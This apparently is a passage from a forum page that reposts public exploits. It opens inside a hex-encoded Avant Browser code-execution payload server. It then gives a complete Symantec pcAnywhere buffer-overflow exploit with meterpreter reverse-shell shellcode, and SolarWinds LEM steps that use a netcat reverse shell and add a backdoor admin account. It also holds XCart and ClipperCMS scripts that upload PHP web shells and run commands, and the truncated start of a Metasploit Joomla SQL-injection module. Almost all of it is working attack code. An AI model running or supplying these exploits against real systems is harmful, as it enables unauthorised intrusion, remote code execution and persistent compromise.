x20\x6F\x72\x20\x28\x6A\x2A\x38\x3D\x6D\x65\x6D\x2B\x38\x29\x29\x20\x74\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2D\x31\x29\x29\x3C\x3E\x30\x29\x20\x20\x54\x68\x65\x6E\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x49\x66\x28\x49\x73\x4F\x62\x6A\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3D\x20\x46\x61\x6C\x73\x65\x20\x29\x20\x54\x68\x65\x6E\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x79\x70\x65\x31\x3D\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28\x61\x31\x29\x29\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6C\x73\x65\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6C\x73\x65\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2D\x31\x29\x29\x3C\x3E\x30\x29\x20\x20\x54\x68\x65\x6E\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x49\x66\x28\x49\x73\x4F\x62\x6A\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3D\x20\x46\x61\x6C\x73\x65\x20\x29\x20\x54\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x79\x70\x65\x31\x3D\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28\x61\x31\x29\x29\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x49\x66\x28\x74\x79\x70\x65\x31\x3D\x26\x68\x32\x66\x36\x36\x29\x20\x54\x68\x65\x6E\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4F\x76\x65\x72\x3D\x54\x72\x75\x65\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x45\x6E\x64\x20\x49\x66\x20\x20\x0D\x0A\x20\x20\x20\x20\x49\x66\x28\x74\x79\x70\x65\x31\x3D\x26\x68\x42\x39\x41\x44\x29\x20\x54\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4F\x76\x65\x72\x3D\x54\x72\x75\x65\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x69\x6E\x39\x78\x3D\x31\x0D\x0A\x20\x20\x20\x20\x45\x6E\x64\x20\x49\x66\x20\x20\x0D\x0A\x20\x0D\x0A\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x65\x6E\x64\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x20\x0D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x72\x75\x6D\x28\x61\x64\x64\x29\x20\x0D\x0A\x20\x20\x20\x20\x4F\x6E\x20\x45\x72\x72\x6F\x72\x20\x52\x65\x73\x75\x6D\x65\x20\x4E\x65\x78\x74\x0D\x0A\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x20\x20\x0D\x0A\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3D\x30\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3D\x61\x64\x64\x2B\x34\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3D\x31\x2E\x36\x39\x37\x35\x39\x36\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2D\x33\x31\x33\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x72\x75\x6D\x3D\x6C\x65\x6E\x62\x28\x61\x61\x28\x61\x31\x29\x29\x20\x20\x0D\x0A\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3D\x30\x0D\x0A\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0D\x0A\x65\x6E\x64\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x20\x0D\x0A\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x0D\x0A\x20\x3C\x63\x65\x6E\x74\x65\x72\x3E\x0D\x0A\x20\x3C\x73\x74\x72\x6F\x6E\x67\x3E\x41\x76\x61\x6E\x74\x20\x42\x72\x6F\x77\x73\x65\x72\x20\x52\x65\x6D\x6F\x74\x65\x20\x43\x6F\x64\x65\x20\x45\x78\x65\x63\x75\x74\x69\x6F\x6E\x20\x44\x65\x6D\x6F\x3C\x2F\x73\x74\x72\x6F\x6E\x67\x3E\x0D\x0A\x20\x3C\x62\x72\x20\x2F\x3E\x0D\x0A\x20\x3C\x69\x3E\x45\x68\x73\x61\x6E\x20\x4E\x6F\x72\x65\x64\x64\x69\x6E\x69\x20\x2D\x20\x40\x70\x72\x6F\x74\x33\x63\x74\x30\x72\x3C\x69\x3E\x0D\x0A\x20\x3C\x62\x72\x20\x2F\x3E\x3C\x69\x3E\x65\x68\x73\x61\x6E\x6E\x2E\x69\x6E\x66\x6F\x3C\x2F\x69\x3E\x0D\x0A\x20\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x0D\x0A\x3C\x2F\x62\x6F\x64\x79\x3E\x0D\x0A\x3C\x2F\x68\x74\x6D\x6C\x3E"; $msgd=str_replace("DOWNLOAD",$link,$msgd); for (;;) { if ($client = @socket_accept($socket)) { socket_write($client, "HTTP/1.1 200 OK\r\n" . "Content-length: " . strlen($msgd) . "\r\n" . "Content-Type: text/html; charset=UTF-8\r\n\r\n" . $msgd); print "\n Target Checked Your Link \n"; } else usleep(100000); } ?>
  9. #!/usr/bin/python ################################################################ # Exploit Title: Symantec pcAnywhere v12.5.0 Windows x86 RCE # Date: 2015-10-31 # Exploit Author: Tomislav Paskalev # Vendor Homepage: https://www.symantec.com/ # Software Link: http://esdownload.symantec.com/akdlm/CD/MTV/pcAnywhere_12_5_MarketingTrialware.exe # Version: Symantec pcAnywhere v12.5.0 Build 442 (Trial) # Vulnerable Software: # Symantec pcAnywhere 12.5.x through 12.5.3 # Symantec IT Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka 12.6.x) # Tested on: # Symantec pcAnywhere v12.5.0 Build 442 (Trial) # -------------------------------------------- # Microsoft Windows Vista Ultimate SP1 x86 EN # Microsoft Windows Vista Ultimate SP2 x86 EN # Microsoft Windows 2008 Enterprise SP2 x86 EN # Microsoft Windows 7 Professional SP1 x86 EN # Microsoft Windows 7 Ultimate SP1 x86 EN # CVE ID: 2011-3478 # OSVDB-ID: 78532 ################################################################ # Vulnerability description: # The application's module used for handling incoming connections # (awhost32.exe) contains a flaw. When handling authentication # requests, the vulnerable process copies user provided input # to a fixed length buffer without performing a length check. # A remote unauthenticated attacker can exploit this vulnerability # to cause a buffer overflow and execute arbitrary code in the # context of the exploited application (installed as a service # by default, i.e. with "NT AUTHORITY\SYSTEM" privileges). ################################################################ # Target application notes: # - the application processes one login attempt at a time # (i.e. multiple parallel login requests are not possible) # - available modules (interesting exploit wise): # Name | Rebase | SafeSEH | ASLR | NXCompat | OS Dll # ------------------------------------------------------------- # awhost32.exe | False | False | False | False | False # ijl20.dll | False | False | False | False | False # IMPLODE.DLL | False | False | False | False | False # ------------------------------------------------------------- # - supported Windows x86 operating systems (pcAnywhere v12.5) # - Windows 2000 # - Windows 2003 Server # - Windows 2008 Server # - Windows XP # - Windows Vista # - Windows 7 ################################################################ # Exploit notes: # - bad characters: "\x00" # - Windows Vista, Windows 2008 Server, Windows 7 # - after a shellcode execution event occurs, the # application does not crash and remains fully functional # - one successful shellcode execution event has a low # success rate (applies to all OSes) # - in order to achieve an overall more reliable exploit, # multiple shellcode executions need to be performed # (until the shellcode is successfully executed) # - brute force is a feasible method # - multiple parallel brute force attacks are not possible # - multiple valid offsets are available (i.e. not just the # ones tested) ################################################################ # Test notes: # - all tested OSes # - clean default installations # - all OS specific statistics referenced in the exploit are # based on the test results of 10 attempts per tested offset # - all attempts were performed after a system reboot (VM) # - the provided test results should be taken only as a rough guide # - in practice it might occur that the number of attempts # needed to achieve successful exploitation is (much) # higher than the maximum value contained in the test # results, or that the exploit does not succeed at all # - other (untested) offsets might provide better results # - not letting the OS and application load fully/properly before # starting the exploit may lead to failed exploitation (this # observation was made during the testing of the exploit and # applies mostly to Windows 7) ################################################################ # Patch: # https://support.symantec.com/en_US/article.TECH179526.html # https://support.norton.com/sp/en/us/home/current/solutions/v78694006_EndUserProfile_en_us ################################################################ # Thanks to: # Tal zeltzer (discovered the vulnerability) # S2 Crew (Python PoC) ################################################################ # In memoriam: # msfpayload | msfencode [2005 - 2015] ################################################################ # References: # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3478 # http://www.zerodayinitiative.com/advisories/ZDI-12-018/ # https://www.exploit-db.com/exploits/19407/ ################################################################ import socket import time import struct import string import sys ################################ ### HARDCODED TARGET INFO ### ################################ # target server info # >>> MODIFY THIS >>> targetServer = "192.168.80.227" targetPort = 5631 # Supported operating systems vistaUltSP1 = { 'Version': 'Microsoft Windows Vista Ultimate SP1 x86 EN', 'Offset': 0x03e60000, 'PasswordStringLength': 3500, 'TestAttempts': [8, 62, 35, 13, 8, 7, 11, 23, 8, 10] }; vistaUltSP2 = { 'Version': 'Microsoft Windows Vista Ultimate SP2 x86 EN', 'Offset': 0x03e60000, 'PasswordStringLength': 3500, 'TestAttempts': [16, 27, 13, 17, 4, 13, 7, 9, 5, 16] }; s2k8EntSP2 = { 'Version': 'Microsoft Windows 2008 Enterprise SP2 x86 EN', 'Offset': 0x03dd0000, 'PasswordStringLength': 3500, 'TestAttempts': [25, 5, 14, 18, 66, 7, 8, 4, 4, 24] }; sevenProSP1 = { 'Version': 'Microsoft Windows 7 Professional SP1 x86 EN', 'Offset': 0x03a70000, 'PasswordStringLength': 3500, 'TestAttempts': [188, 65, 25, 191, 268, 61, 127, 136, 18, 98] }; sevenUltSP1 = { 'Version': 'Microsoft Windows 7 Ultimate SP1 x86 EN', 'Offset': 0x03fa0000, 'PasswordStringLength': 3500, 'TestAttempts': [23, 49, 98, 28, 4, 31, 4, 42, 50, 42] }; # target server OS # >>> MODIFY THIS >>> #OSdictionary = vistaUltSP1 #OSdictionary = vistaUltSP2 #OSdictionary = s2k8EntSP2 #OSdictionary = sevenProSP1 OSdictionary = sevenUltSP1 # timeout values shellcodeExecutionTimeout = 30 # client-server handshake initialisationSequence = "\x00\x00\x00\x00" handshakeSequence = "\x0d\x06\xfe" # username string usernameString = "U" * 175 # shellcode # available shellcode space: 1289 bytes # shellcode generated with Metasploit Framework Version: 4.11.4-2015090201 (Kali 2.0) # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=192.168.80.223 LPORT=443 EXITFUNC=seh -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode # >>> MODIFY THIS >>> shellcode = "" shellcode += "\xda\xd3\xd9\x74\x24\xf4\xbf\x2c\x46\x39\x97\x5d" shellcode += "\x33\xc9\xb1\x87\x83\xed\xfc\x31\x7d\x14\x03\x7d" shellcode += "\x38\xa4\xcc\x6b\xa8\xaa\x2f\x94\x28\xcb\xa6\x71" shellcode += "\x19\xcb\xdd\xf2\x09\xfb\x96\x57\xa5\x70\xfa\x43" shellcode += "\x3e\xf4\xd3\x64\xf7\xb3\x05\x4a\x08\xef\x76\xcd" shellcode += "\x8a\xf2\xaa\x2d\xb3\x3c\xbf\x2c\xf4\x21\x32\x7c" shellcode += "\xad\x2e\xe1\x91\xda\x7b\x3a\x19\x90\x6a\x3a\xfe" shellcode += "\x60\x8c\x6b\x51\xfb\xd7\xab\x53\x28\x6c\xe2\x4b" shellcode += "\x2d\x49\xbc\xe0\x85\x25\x3f\x21\xd4\xc6\xec\x0c" shellcode += "\xd9\x34\xec\x49\xdd\xa6\x9b\xa3\x1e\x5a\x9c\x77" shellcode += "\x5d\x80\x29\x6c\xc5\x43\x89\x48\xf4\x80\x4c\x1a" shellcode += "\xfa\x6d\x1a\x44\x1e\x73\xcf\xfe\x1a\xf8\xee\xd0" shellcode += "\xab\xba\xd4\xf4\xf0\x19\x74\xac\x5c\xcf\x89\xae" shellcode += "\x3f\xb0\x2f\xa4\xad\xa5\x5d\xe7\xb9\x57\x3b\x6c" shellcode += "\x39\xc0\xb4\xe5\x57\x79\x6f\x9e\xeb\x0e\xa9\x59" shellcode += "\x0c\x25\x84\xbe\xa1\x95\xb4\x13\x16\x72\x01\xc2" shellcode += "\xe1\x25\x8a\x3f\x42\x79\x1f\xc3\x37\x2e\xb7\x78" shellcode += "\xb6\xd0\x47\x97\x86\xd1\x47\x67\xd9\x84\x3f\x54" shellcode += "\x6e\x11\x95\xaa\x3a\x37\x6f\xa8\xf7\xbe\xf8\x1d" shellcode += "\x4c\x16\x73\x50\x25\xc2\x0c\xa6\x91\xc1\xb0\x8b" shellcode += "\x53\x69\x76\x22\xd9\x46\x0a\x1a\xbc\xea\x87\xf9" shellcode += "\x09\xb2\x10\xcf\x14\x3c\xd0\x56\xb3\xc8\xba\xe0" shellcode += "\x69\x5a\x3a\xa2\xff\xf0\xf2\x73\x92\x4b\x79\x10" shellcode += "\x02\x3f\x4f\xdc\x8f\xdb\xe7\x4f\x6d\x1d\xa9\x1d" shellcode += "\x42\x0c\x70\x80\xcc\xe9\xe5\x0a\x55\x80\x8a\xc2" shellcode += "\x3d\x2a\x2f\xa5\xe2\xf1\xfe\x7d\x2a\x86\x6b\x08" shellcode += "\x27\x33\x2a\xbb\xbf\xf9\xd9\x7a\x7d\x87\x4f\x10" shellcode += "\xed\x0d\x1b\xad\x88\xc6\xb8\x50\x07\x6a\x74\xf1" shellcode += "\xd3\x2d\xd9\x84\x4e\xc0\x8e\x25\x23\x76\x60\xc9" shellcode += "\xb4\xd9\xf5\x64\x0e\x8e\xa6\x22\x05\x39\x3f\x98" shellcode += "\x96\x8e\xca\x4f\x79\x54\x64\x26\x33\x3d\xe7\xaa" shellcode += "\xa2\xb1\x90\x59\x4b\x74\x1a\xce\xf9\x0a\xc6\xd8" shellcode += "\xcc\x99\x49\x75\x47\x33\x0e\x1c\xd5\xf9\xde\xad" shellcode += "\xa3\x8c\x1e\x02\x3b\x38\x96\x3d\x7d\x39\x7d\xc8" shellcode += "\x47\x95\x16\xcb\x75\xfa\x63\x98\x2a\xa9\x3c\x4c" shellcode += "\x9a\x25\x28\x27\x0c\x8d\x51\x1d\xc6\x9b\xa7\xc1" shellcode += "\x8e\xdb\x8b\xfd\x4e\x55\x0b\x97\x4a\x35\xa6\x77" shellcode += "\x04\xdd\x43\xce\x36\x9b\x53\x1b\x15\xf7\xf8\xf7" shellcode += "\xcf\x9f\xd3\xf1\xf7\x24\xd3\x2b\x82\x1b\x5e\xdc" shellcode += "\xc3\xee\x78\x34\x90\x10\x7b\xc5\x4c\x51\x13\xc5" shellcode += "\x80\x51\xe3\xad\xa0\x51\xa3\x2d\xf3\x39\x7b\x8a" shellcode += "\xa0\x5c\x84\x07\xd5\xcc\x28\x21\x3e\xa5\xa6\x31" shellcode += "\xe0\x4a\x37\x61\xb6\x22\x25\x13\xbf\x51\xb6\xce" shellcode += "\x3a\x55\x3d\x3e\xcf\x51\xbf\x03\x4a\x9d\xca\x66" shellcode += "\x0c\xdd\x6a\x81\xdb\x1e\x6b\xae\x12\xd8\xa6\x7f" shellcode += "\x65\x2c\xff\x51\xbd\x60\xd1\x9f\x8f\xb3\x2d\x5b" shellcode += "\x11\xbd\x1f\x71\x87\xc2\x0c\x7a\x82\xa9\xb2\x47" ################################ ### BUFFER OVERFLOW ### ### STRING CONSTRUCTION ### ################################ # Calculate address values based on the OS offset pointerLocationAddress = OSdictionary['Offset'] + 0x00005ad8 pointerForECXplus8Address = OSdictionary['Offset'] + 0x00005ad4 breakPointAddress = OSdictionary['Offset'] + 0x000065af - 0x00010000 # jump over the next 38 bytes (to the begining of the shellcode) jumpToShellcode = "\xeb\x26\x90\x90" # pointerLocationAddress - the memory address location of the "pointerForECXplus8" variable pointerLocation = struct.pack('<L', pointerLocationAddress) # CALL ESI from the application module ijl20.dll [aslr=false,rebase=false,safeseh=false] callESI = struct.pack('<L', 0x67f7ab23) # pointerForECXplus8Address - the memory address location of the start of the DDDD string in the shellcode (Offset + 0x00005acc + 0x8) pointerForECXplus8 = struct.pack('<L', pointerForECXplus8Address) # construct the password string which will cause a buffer overflow condition and exploit the vulnerability passwordString = ( "A" * 945 + jumpToShellcode + pointerLocation + "D" * 4 + pointerForECXplus8 + callESI + "\x90" * 20 + shellcode + "I" * (1289 - len(shellcode)) + "\xaa" * (OSdictionary['PasswordStringLength'] - 945 - 4 * 5 - 20 - 1289) ) ################################ ### FUNCTIONS ### ################################ # calculate and return the median value of the argument list def calculateMedian(targetList): sortedTargetList = sorted(targetList) targetListLength = len(targetList) medianIndex = (targetListLength - 1) / 2 if (targetListLength % 2): return sortedTargetList[medianIndex] else: return ((sortedTargetList[medianIndex] + sortedTargetList[medianIndex + 1]) / 2) # print an indented line with a type prefix def printLine(infoType, indentDepth, textToDisplay): # [I]nformational if infoType == "I": print (' ' * indentDepth), print "\033[1;37m[*]\033[1;m", textToDisplay # [E]rror elif infoType == "E": print (' ' * indentDepth), print "\033[1;31m[-]\033[1;m", textToDisplay # [S]uccess elif infoType == "S": print (' ' * indentDepth), print "\033[1;32m[+]\033[1;m", textToDisplay # [W]arning elif infoType == "W": print (' ' * indentDepth), print "\033[1;33m[!]\033[1;m", textToDisplay # [N]one elif infoType == "N": print (' ' * indentDepth), print textToDisplay # print the banner - general exploit info, target info, target OS statistics def printBanner(): printLine ("I", 0, "Symantec pcAnywhere v12.5.0 Build 442 Login+Password field") printLine ("N", 1, "Buffer Overflow Remote Code Execution exploit (CVE-2011-3478)") printLine ("I", 1, "by Tomislav Paskalev") printLine ("I", 0, "Target server information") printLine ("I", 1, "IP address : " + targetServer) printLine ("I", 1, "Port : " + str(targetPort)) printLine ("I", 0, "Exploit target information") printLine ("I", 1, "Target OS : " + OSdictionary['Version']) printLine ("I", 2, "Offset : " + "{:#010x}".format(OSdictionary['Offset'])) printLine ("I", 2, "Breakpoint (test) : " + "{:#010x}".format(breakPointAddress)) printLine ("I", 2, "Password length : " + str(OSdictionary['PasswordStringLength'])) printLine ("I", 2, "Test result stats") printLine ("I", 3, "Test count : " + str(len(OSdictionary['TestAttempts']))) printLine ("I", 3, "Reliability : " + str(((len(OSdictionary['TestAttempts']) - OSdictionary['TestAttempts'].count(0)) * 100) / len(OSdictionary['TestAttempts'])) + "%") printLine ("I", 3, "Min attempt : " + str(min([element for element in OSdictionary['TestAttempts'] if element > 0]))) printLine ("I", 3, "Max attempt : " + str(max(OSdictionary['TestAttempts']))) printLine ("I", 3, "Avg attempt : " + str(sum(OSdictionary['TestAttempts']) / len(OSdictionary['TestAttempts']))) printLine ("I", 3, "Median attempt: " + str(calculateMedian(OSdictionary['TestAttempts']))) # connect to the server and return the socket def connectToServer(server, port): # create socket targetSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: targetSocket.connect((server, port)) except socket.error as msg: if "[Errno 111] Connection refused" in str(msg): return None # return the opened socket return targetSocket # send the data to the server and return the response def sendDataToServer(destSocket, dataToSend): destSocket.send(dataToSend) try: receivedData = destSocket.recv(1024) except socket.error as msg: if "[Errno 104] Connection reset by peer" in str(msg): return None return receivedData # run the exploit; exits when finished or interrupted def runExploit(): printLine ("I", 0, "Starting exploit...") attemptCounter = 0 # brute force the service until the shellcode is successfully executed while True: # connect to the target server openSocket = connectToServer(targetServer, targetPort) attemptCounter += 1 sleepTimer = 0 printLine ("I", 1, "Attempt no. " + str(attemptCounter)) printLine ("I", 2, "Sending initialisation sequence...") # send the data; check outcome while True: receivedData = sendDataToServer(openSocket, initialisationSequence) # check if server responded properly, if yes exit the loop if receivedData: if "Please press <Enter>..." in receivedData: break # exit if the service is unavailable if attemptCounter == 1: printLine ("E", 3, "Service unavailable") printLine ("I", 4, "Exiting...") exit(1) # check if shellcode executed (based on a timer) if sleepTimer > shellcodeExecutionTimeout: print "" printLine ("S", 4, "Shellcode executed after " + str(attemptCounter - 1) + " attempts") printLine ("I", 5, "Exiting...") exit(1) # print waiting ticks sys.stdout.write('\r') sys.stdout.write(" \033[1;33m[!]\033[1;m Connection reset - reinitialising%s" % ('.' * sleepTimer)) sys.stdout.flush() # sleep one second and reconnect time.sleep(1) sleepTimer += 1 openSocket.close() openSocket = connectToServer(targetServer, targetPort) if sleepTimer > 0: print "" printLine ("I", 2, "Sending handshake sequence...") openSocket.send(handshakeSequence) time.sleep(3) data = openSocket.recv(1024) printLine ("I", 2, "Sending username...") openSocket.send(usernameString) time.sleep(3) printLine ("I", 2, "Sending password...") openSocket.send(passwordString) openSocket.close() time.sleep(3) # main function if __name__ == "__main__": printBanner() try: runExploit() except KeyboardInterrupt: print "" sys.exit() # End of file
  10. Requirements: Python 2.7 netcat Tested on: Ubuntu 14.04 LTS Vulnerable Appliance Version: 6.1.0 Download: http://downloads.solarwinds.com/solarwinds/Release/LEM/SolarWinds-LEM-v6.1.0-Evaluation-VMware.exe Instructions: The exploit_lem.py script will need to be run sudo since it uses sockets which bind to port 21 and 80. These could be changed, but the rest of the script would need to be modified as well. Prior to running the python script, set up a netcat listener for the reverse shell: netcat -l 4444 Example: sudo python exploit_lem.py -t 192.168.1.100 -b 192.168.1.101 -l 192.168.1.101 -lp 4444 After access has been gained to the appliance, a new admin user can be added to the web console by editing /usr/local/contego/run/manager/UserContextLibrary.xml. Simply copy the xml structure for the admin user that is already in there and then change the fields to create a new user. In order to get a valid password hash, use the gen_pass_hash.py script included with this package. Please note that a manager restart will be needed before you can login with the new user. This can be accomplished by running "/etc/init.d/contego-manager restart" Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38644.zip
  11. Hacking

    #!/usr/local/bin/python # Exploit for XCart 5.2.6 Code Execution vulnerability # An admin account is required to use this exploit # Curesec GmbH import sys import re import requests # requires requests lib if len(sys.argv) != 4: exit("usage: python " + sys.argv[0] + " http://example.com/xcart/ [email protected] admin") url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] loginPath = "/admin.php?target=login" fileManagerPath = "/admin.php?target=logo_favicon" shellFileName = "404.php" shellContent = "GIF89a;<?php passthru($_GET['x']); ?>" def login(requestSession, url, username, password): csrfRequest = requestSession.get(url) csrfTokenRegEx = re.search('name="xcart_form_id" type="hidden" value="(.*)" class', csrfRequest.text) csrfToken = csrfTokenRegEx.group(1) postData = {"target": "login", "action": "login", "xcart_form_id": csrfToken, "login": username, "password": password} loginResult = requestSession.post(url, data = postData).text return "Invalid login or password" not in loginResult def upload(requestSession, url, fileName, fileContent): csrfRequest = requestSession.get(url) csrfTokenRegEx = re.search('SimpleCMS" />\n<input type="hidden" name="xcart_form_id" value="(.*)" />', csrfRequest.text) csrfToken = csrfTokenRegEx.group(1) filesData = {"logo": (fileName, fileContent)} postData = {"target": "logo_favicon", "action": "update", "page": "CDev\SimpleCMS", "xcart_form_id": csrfToken} uploadResult = requestSession.post(url, files = filesData, data = postData) return "The data has been saved successfully" in uploadResult.text def runShell(url): print("enter command, or enter exit to quit.") command = raw_input("$ ") while "exit" not in command: print(requests.get(url + command).text.replace("GIF89a;", "")) command = raw_input("$ ") requestSession = requests.session() if login(requestSession, url + loginPath, username, password): print("successful: login") else: exit("ERROR: Incorrect username or password") if upload(requestSession, url + fileManagerPath, shellFileName, shellContent): print("successful: file uploaded") else: exit("ERROR: could not upload file") runShell(url + shellFileName + "?x=")
  12. Hacking

    #!/usr/local/bin/python # Exploit for ClipperCMS 1.3.0 Code Execution vulnerability # An account is required with rights to file upload (eg a user in the Admin, Publisher, or Editor role) # The server must parse htaccess files for this exploit to work. # Curesec GmbH [email protected] import sys import re import requests # requires requests lib if len(sys.argv) != 4: exit("usage: python " + sys.argv[0] + " http://example.com/ClipperCMS/ admin admin") url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] loginPath = "/manager/processors/login.processor.php" fileManagerPath = "/manager/index.php?a=31" def login(requestSession, url, username, password): postData = {"ajax": "1", "username": username, "password": password} return requestSession.post(url, data = postData, headers = {"referer": url}) def getFullPath(requestSession, url): request = requestSession.get(url, headers = {"referer": url}) if "You don't have enough privileges" in request.text: return "cant upload" fullPath = re.search("var current_path = '(.*)';", request.text) return fullPath.group(1) def upload(requestSession, url, fileName, fileContent, postData): filesData = {"userfile[0]": (fileName, fileContent)} return requestSession.post(url, files = filesData, data = postData, headers = {"referer": url}) def workingShell(url, fullPath): return fullPath.strip("/") in requests.get(url + "pwd", headers = {"referer": url}).text.strip("/") def runShell(url): print("enter command, or enter exit to quit.") command = raw_input("$ ") while "exit" not in command: print(requests.get(url + command).text) command = raw_input("$ ") requestSession = requests.session() loginResult = login(requestSession, url + loginPath, username, password) if "Incorrect username" in loginResult.text: exit("ERROR: Incorrect username or password") else: print("successful: login as " + username) fullPath = getFullPath(requestSession, url + fileManagerPath) if fullPath == "cant upload": exit("ERROR: user does not have required privileges") else: print("successful: user is allowed to use file manager. Full path: " + fullPath) uploadResult = upload(requestSession, url + fileManagerPath, ".htaccess", "AddType application/x-httpd-php .png", {"path": fullPath}) if "File uploaded successfully" not in uploadResult.text: exit("ERROR: could not upload .htaccess file") else: print("successful: .htaccess upload") uploadResult = upload(requestSession, url + fileManagerPath, "404.png", "<?php passthru($_GET['x']) ?>", {"path": fullPath}) if "File uploaded successfully" not in uploadResult.text: exit("ERROR: could not upload shell") else: print("successful: shell upload. Execute commands via " + url + "404.png?x=<COMMAND>") if workingShell(url + "404.png?x=", fullPath): print("successful: shell seems to be working") else: exit("ERROR: shell does not seem to be working correctly") runShell(url + "404.png?x=") #Blog Reference: #http://blog.curesec.com/article/blog/ClipperCMS-130-Code-Execution-Exploit-96.html
  13. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Joomla Content History SQLi Remote Code Execution", 'Description' => %q{ This module exploits a SQL injection vulnerability found in Joomla versions 3.2 up to 3.4.4. The vulnerability exists in the Content History administrator component in the core of Joomla. Triggering the SQL injection makes it possible to retrieve active Super User sessions. The cookie can be used to login to the Joomla administrator backend. By creating a new template file containing our payload, remote code execution is made possible. }, 'License' => MSF_LICENSE, 'Author' => [ 'Asaf Orpani', # Vulnerability discovery 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'References' => [ [ 'CVE', '2015-7857' ], # Admin session hijacking [ 'CVE', '2015-7297' ], # SQLi [ 'CVE', '2015-7857' ], # SQLi [ 'CVE', '2015-7858' ], # SQLi [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ], [ 'URL', 